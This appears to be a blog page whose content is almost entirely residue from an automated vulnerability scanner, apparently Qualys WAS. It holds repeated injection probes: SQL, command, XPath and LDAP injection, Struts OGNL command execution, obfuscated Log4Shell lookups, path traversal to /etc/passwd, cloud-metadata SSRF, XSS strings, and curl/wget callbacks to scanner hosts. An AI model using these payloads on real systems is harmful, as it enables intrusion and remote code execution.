Welcome to Blog

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1" or not(false()) or "true" = "true

1

1

1" and false() and "or" = "and

1

1" or true() or "and" = "and

1 or not(false()) or 'true' = 'true'

1

1 and false() and 'or' = 'and'

1

1

1 or true() or 'and' = 'and'

1

1

1

1

1' or not(false()) or 'true' = 'true

15 oR 9=8 + 1

1' and false() and 'or' = 'and

1' or true() or 'and' = 'and

1

1

11 or 11=12

11 or 11=11

1

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1

1' and 'tpklq'='xqlkp

1' or 'tpklq'='tpklq

1

1

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1

1') and 'swqtp'='ptqws

1') or 'swqtp'='swqtp

1 aND 7248=2491 + 4757

1

1

1 and 7248 IS NULL

1 and NULL IS NULL

1

1 oR 6248=2491 + 3757

1

1

1

1 or 6248 IS NULL

1 or NULL IS NULL

1 /* or __Q_1__ */aND 4325=1597 + 2729 -- oR 2728

1

1

1

1

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1

1 and 4325=2728 --

1 or 4325=4325 --

1' /* or __Q_1__ */aND 3789=2398 + 1390 -- oR 1391

1

1

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1' and 3789=1391 --

1' or 3789=3789 --

1

1') and 2634=1123 --

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl fd0d5d63fc7be1472de7e7b83e31b661a476dd3f.17593256393642422.1155378690.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget 9e433b317065058891ed922b36cc12760a869bce.17593256393642422.427096958.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl 925c80dc9c34d50a2adb3efc8227e5a1ba6a1350.17593256393642422.3289925868.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl c6df5d2c585133abc0bc2040e61c34536018b3ce.17593256393642422.2786783693.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 13f6563e17d6a0cb3ff351b71cb9d043cf88e3a4.17593256393642422.863502922.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","4af543af8c929a85c44abac788875ac4a4c6451b.17593256393642422.3154127050.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://7fe08e09eeb479777423633223e00fa75a286e52.17593256393642422.149613318.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://19ff11b5090ccd428093e3abb370497bb474e512.17593256393642422.224874868.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//5f15491d44ace32e5f331fa4f2d04dbc89f5082d.17593256393642422.1871485221.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://fad95902fcdf39aa74f0c7bfc0819ed4c610d299.17593256393642422.3076235771.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//9fe8bb77c38328d7648a956712590c6dc5f7f14c.17593256393642422.2674234334.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://4df3ce6926b316b13a8dd3892b3cbb4089870657.17593256393642422.1567297449.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//001239249779d2df451919a1fd7673fce07380c7.17593256393642422.550541142.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://72f8e18e58107d8153b2862d4c6837407ae3c46f.17593256393642422.1837792367.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://ca1df74d683e497425de0b62eb98836914cd3454.17593256393642422.1896238222.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:rmi://e69b60d1b603b89ee6014fcee6c0956a61228775.17593256393642422.1047491359.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:ldap://f0bbe15e888ee866144f2b418b651d92653d290b.17593256393642422.2691620277.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

e293112f1ca3bb86e83b0d1fb363a6cfce6ed5d1.17593256393642422.2321862435.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://97819d63f95ed61a9d14f8d8af3a6bbdb7550c6d.17593256393642422.1725710616.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@9ada5f3b829962a5ae74f303040d97a3ce5c8f56.17593256393642422.3372098628.smtphi01.smtp.eu2.qualysperiscope.com.

1

1)(|(uidNumber=*)

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1)(attribute2=*)

1

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

1

http://169.254.169.254/latest/meta-data/

function(){qxssTUV8Xtom};

1

1

qualyswas:

1

(23.0231*213.759)

1

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

1

!@#$%^&*()1

1

1!@#$%^&*()

1

1

1

"-qxssoVI88783()-"

1

'-qxss4n8VvyMZ()-'

1

*/;(function(){qxssd5MB8x9n});/*

1

9 ;(function(){qxssuqhYud32});//

1

9;(function(){qxssk00I85G7});//

1

';(function(){qxsswZ3xDzx4});/**/'

1

qualys(aqxss2tBFoify)xyz

1

");(function(){qxssY5k1BM85});/**/"

1

";(function(){qxss2GsLsc0P});/**/"

1

javascript:qxss(X169181732Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

....//....//....//....//....//....//etc/passwd

1

php://filter/read=string.rot13/resource=/etc/passwd

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

//....//....//....//....//....//....//....//etc/passwd

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

(

1

,

1

``

1

/*

1

#

1

;--

1

1'

1

qualyswasesi

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

1

111222

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

< script a=4>qssb4F608jX=7< /script>

1

" onEvent=X169181732Y1_2Z

1

' onEvent=X169181732Y1_2Z

1

"'>

1

1

BODY{background:url("javascript:qssieYNYy1y=7")}

1

1">

1

1

1

"'>

1

1

1

1

1 _q_q=random(2W9eyGdd)

1

_q=random(X169181732Y1_2Z)

1

_q=random(X169181732Y1_2Z)

1

"'>

1

z-->

1

1"'>

1

">

1

javascript:qxss(X169181732Y1_2Z);

1

" onEvent=X169181732Y1_2Z

1

' onEvent=X169181732Y1_2Z

1

_q=random(X169181732Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1" or not(false()) or "true" = "true

1

1" and false() and "or" = "and

1

1

1" or true() or "and" = "and

1

1

1 or not(false()) or 'true' = 'true'

1 and false() and 'or' = 'and'

1

1 or true() or 'and' = 'and'

1

1

1

1' or not(false()) or 'true' = 'true

1

1' and false() and 'or' = 'and

1' or true() or 'and' = 'and

1

15 oR 9=8 + 1

1

11 or 11=12

11 or 11=11

1

1

1

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1' and 'tpklq'='xqlkp

1' or 'tpklq'='tpklq

1

1') and 'swqtp'='ptqws

1

1') or 'swqtp'='swqtp

1

1 aND 7248=2491 + 4757

1

1

1 and 7248 IS NULL

1

1 and NULL IS NULL

1

1

1 oR 6248=2491 + 3757

1

1 /* or __Q_1__ */aND 4325=1597 + 2729 -- oR 2728

1 or 6248 IS NULL

1 or NULL IS NULL

1

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1

1 and 4325=2728 --

1

1

1 or 4325=4325 --

1

1

1

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1' and 3789=1391 --

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1' or 3789=3789 --

1

1') and 2634=1123 --

1

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl 4ee91f433f099477c0267778a033a51cbd18b31d.17553920393642422.1207987246.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget a93b49a1c488801979398169eb677174329765bf.17553920393642422.513281923.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl 0476d838259f44ea286bad3af09d1e3dbbad551a.17553920393642422.1510613269.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl e03cb00646acf19360ebe8494bace273fb375350.17553920393642422.3089244358.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

@pd.core.frame.com.builtins.__import__("os").system("""curl 151d4edd2b72ed97d130d5e3766b48cb15443746.17553920393642422.2896637147.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","844d068f9c888b3b429a8d04057e5d0d796d794b.17553920393642422.4244354502.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://929474db22bc89a20beb6d9bdbafe355bb3f6ec0.17553920393642422.1841701943.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://ceb3ae7ea644e41541e29e37c0dec1ccc1616e34.17553920393642422.585425162.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//734d9423458aa950cc32e9031fdc847dfbda021e.17553920393642422.3606844870.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:dns://bb7f9112c13f6580db2f9485e4cff64078b828bb.17553920393642422.2291539686.log4j09.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${k8s:k5:-J}${k8s:k5:-ND}i${sd:k5:-:}l${lower:D}ap${sd:k5:-:}//67878ce74e320685070c8b6869fcc89f20da385e.17553920393642422.2428626339.log4j08.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jnd${123%ff:-${123%ff:-i:}}ldap://5c54a6f4401d681368080519346de83a22710cbb.17553920393642422.638699840.log4j07.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${::-n}di:ldap${::-:}//42713f9d6ae63799624aa2636e43c61c88d81a05.17553920393642422.256677999.log4j06.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://a6089796e897990701a3d1c621858bce0bb6ced1.17553920393642422.3793425137.log4j05.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://a4ce7f0b774688d51e6e68dc75611deb4e9191f5.17553920393642422.924040766.log4j04.log4j.eu2.qualysperiscope.com./QualysWAS}

${jndi:rmi://8e3a797ae90baf987fe565c185164cfae447fb9f.17553920393642422.356209289.log4j03.log4j.eu2.qualysperiscope.com./QualysWAS}

1

1

${jndi:ldap://75c6a565d056f4b860ac3901d9e3bc14c138730c.17553920393642422.2906290265.log4j02.log4j.eu2.qualysperiscope.com./QualysWAS}

1

4756f6ee4dff27f56d26f8315eeba5a656e077fd.17553920393642422.375231668.ssrf02.ssrf.eu2.qualysperiscope.com.

1

http://ee5791121094a285da3818ca836a8169a5af0cc1.17553920393642422.3424643193.ssrf01.ssrf.eu2.qualysperiscope.com.

1

Joe+ bcc:was_engine@5792b20bb38de796ee48356ee301e5e01986db79.17553920393642422.2139383106.smtphi01.smtp.eu2.qualysperiscope.com.

1)(|(uidNumber=*)

1

1

1)(|(gidNumber=*)

1

1)(|(homeDirectory=*)

1

1)(|(uid=*)

1

1)(|(objectclass=*)

1

1*

1

1)(|(cn=*))

1

1*(|(objectclass=*))

1

1)(uid=*))(|(uid=*

1

1)(attribute2=*)

1

QualysWAS${150797*150797}QualysWAS

1

${''.getClass().forName('java.lang.Runtime').getMethods()[6].toString()}

1

QualysWAS${"150898".toString().replace("8", "7")}QualysWAS

1

https://community.qualys.com/

http://169.254.169.254/latest/meta-data/

1

1

function(){qxssS559cN3G};

1

qualyswas:

1

(23.0231*213.759)

;echo 23.0231*213.759;//{@math key=4335.158242899999 method="add" operand=586.23659/} /* #set($value=23.0231*213.759) $value */

1

1

1

|aaaa =(23.0231*213.759) |${23.0231*213.759}{23.0231*213.759}4921.3948329(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

1

!@#$%^&*()

!@#$%^&*()1

1

1

1!@#$%^&*()

1

1

1

"-qxss820rBsj0()-"

1

'-qxssiHx9bUX8()-'

1

*/;(function(){qxss89G6IzW2});/*

1

9 ;(function(){qxssm3uY3qFc});//

1

9;(function(){qxssr9oR7sGL});//

1

';(function(){qxss729Pwgd0});/**/'

1

qualys(aqxsshkrWC86I)xyz

1

");(function(){qxssJPHzI7YJ});/**/"

1

";(function(){qxss7cqDGzh8});/**/"

1

javascript:qxss(X175227292Y1_2Z);

1

http://rfitest/

1

|netstat -an

1

a(){}phpinfo(); function a

1

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q2d1hi3j').(#str3='B4D7e6').(#str=#str2+':QQ:'+#str1+':PP:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

1

%25{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1='A2B8C3').(#str2='q9d4hi5j').(#str3='R9D7e8').(#str=#str2+':QQ:'+#str1+':TT:'+#str3).(#cmd='echo '+ #str).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

1

....//....//....//....//....//....//etc/passwd

1

php://filter/read=string.rot13/resource=/etc/passwd

1

../../../../../../../Windows/System32/drivers/etc/hosts

1

../../../../../../../Windows/System32/drivers/etc/hosts

//....//....//....//....//....//....//....//etc/passwd

1

1

//..//..//..//..//..//..//..//etc/passwd

1

../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

/../../../../../../../etc/passwd

1

1

1e309

1

(

1

,

1

``

1

/*

1

#

1

;--

1

1'

1

qualyswasesi

q Qualys_resp_hdr_injection: Vulnerable

1

1

q Qualys_resp_hdr_injection: Vulnerable

1

q Content-Type:text/html Content-Length: 190 HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: a=q Content-Length: 2 AA

111222

1

1

1

1

%3cscript z%3e_q(y)%3c/script%3e

1

< script a=4>qssIfWy0f1r=7< /script>

1

" onEvent=X175227292Y1_2Z

1

' onEvent=X175227292Y1_2Z

1

"'>

1

1

BODY{background:url("javascript:qssIdxV663M=7")}

1

1">

1

1

1

"'>

1

1

1

1

1 _q_q=random(wXrbq60T)

_q=random(X175227292Y1_2Z)

1

1

_q=random(X175227292Y1_2Z)

"'>

1

1

z-->

1

1"'>

1

">

1

javascript:qxss(X175227292Y1_2Z);

" onEvent=X175227292Y1_2Z

1

1

' onEvent=X175227292Y1_2Z

1

_q=random(X175227292Y1_2Z)

1

"'>

1

1

1(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

1

require('child_process').execSync('sleep 29').toString()

1

__import__('os').popen('sleep 29').read()

1

1' + sleep(29*100*Math.sqrt(100)) + '

1

1'; var djci=sleep(29*1000) + '

1

1'; var djci=sleep(29*1000);//

1

1' OR (SELECT 1337 FROM (SELECT(SLEEP(29)))prime) AND 'qualys'='qualys

1

1' WHERE 1337=1337 AND (SELECT 1319 FROM (SELECT(SLEEP(29)))qualys)-- prime

1

1(SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333) /*'XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR'|"XOR (SELECT 0 FROM (SELECT SLEEP(29))qsqli_3333); -- OR"*/

1

1;SELECT sleep(29); --

1

1' + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + '

1

1 + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_1111)

1

1',0,0);WAITFOR DELAY'00:00:29'--

1

1');WAITFOR DELAY '00:00:29'--

1

1';WAITFOR DELAY '00:00:29'--

1

1);WAITFOR DELAY '00:00:29'--

1

1;WAITFOR DELAY '00:00:29';

1

1WAITFOR DELAY '00:00:29'

1

|ping -c2 -i91 localhost|

1

|ping -c2 -i56 localhost

1

ping -c2 -i91 localhost

1

aaaa&ping -n 92 localhost&

1

1

1

1

1" or not(false()) or "true" = "true

1

1" and false() and "or" = "and

1

1" or true() or "and" = "and

1 or not(false()) or 'true' = 'true'

1

1

1 and false() and 'or' = 'and'

1

1 or true() or 'and' = 'and'

1

1

1

1' or not(false()) or 'true' = 'true

1' and false() and 'or' = 'and

1' or true() or 'and' = 'and

1

15 oR 9=8 + 1

1

1

11 or 11=12

11 or 11=11

1

1' /* or __Q_1__ */oR ' aND xqlkp'=' aND xqlkp

1

1

1' and 'tpklq'='xqlkp

1' or 'tpklq'='tpklq

1

1

1

1') /* or __Q_1__ */oR ' aND ptqws'=' aND ptqws

1') and 'swqtp'='ptqws

1') or 'swqtp'='swqtp

1

1 aND 7248=2491 + 4757

1

1

1 and 7248 IS NULL

1 and NULL IS NULL

1

1 oR 6248=2491 + 3757

1

1

1 or 6248 IS NULL

1 or NULL IS NULL

1 /* or __Q_1__ */aND 4325=1597 + 2729 -- oR 2728

1

1

1 /* or __Q_1__ */oR 4325=1597 + 2728 -- aND 2729

1

1 and 4325=2728 --

1

1

1 or 4325=4325 --

1

1

1

1' /* or __Q_1__ */oR 3789=2398 + 1391 -- aND 1390

1' and 3789=1391 --

1

1') /* or __Q_1__ */oR 2634=1511 + 1123 -- aND 1124

1' or 3789=3789 --

1

1') and 2634=1123 --

1

1') or 2634=2634 --

1

1

1

file:///etc/passwd

1

1

1

http://localhost:19096

1

$..[?(p="console.log(this.process.mainModule.require('child_process').execSync('curl 5631a6ac1f4d8cab20914c40676c04bfb51dd122.17527257393642422.2003698018.oscomm15279701.oscomm.eu2.qualysperiscope.com.').toString())";QualysWAS=''[['constructor']][['constructor']](p);QualysWAS())]

1

__import__('os').popen('wget 7b778aefaee9bc2840b76c1b8f98c1c7bf84075f.17527257393642422.1821081203.oscomm15214101.oscomm.eu2.qualysperiscope.com.').read()

1

__import__('os').popen('curl 39ee73680700e8ae44c8e6798557ef91be537025.17527257393642422.3896839676.oscomm15214100.oscomm.eu2.qualysperiscope.com.').read()

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 469f8f5bf6943ccb0c9aa2f93418dca4872fb79a.17527257393642422.4050451133.oscomm15256401.oscomm.eu2.qualysperiscope.com.#""")

1

@pd.core.frame.com.builtins.__import__("os").system("""curl 37c87ea93f6076aae7ade213674069a9f06febb4.17527257393642422.4160182731.oscomm15256400.oscomm.eu2.qualysperiscope.com.#""")

1

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","b597926970185159c19d0c9f7664f8529e362ad8.17527257393642422.2994811657.oscomm15079701.oscomm.eu2.qualysperiscope.com.")}

1

1

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://fb1dd96ff1d899d9c7b1b3a41fe0a3715168fc85.17527257393642422.2183051048.log4j12.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://9e42f5352c9b26adab47839d590c8e6c20428d59.17527257393642422.1774974467.log4j11.log4j.eu2.qualysperiscope.com./QualysWAS}

1

${j${k8s:k5:-ND}i${sd:k5:-:}${lower:L}dap${sd:k5:-:}//a83c353f6859be413932859f4fedf82b85b83736.17527257393642422.2522522038.log4j10.log4j.eu2.qualysperiscope.com./QualysWAS}

1

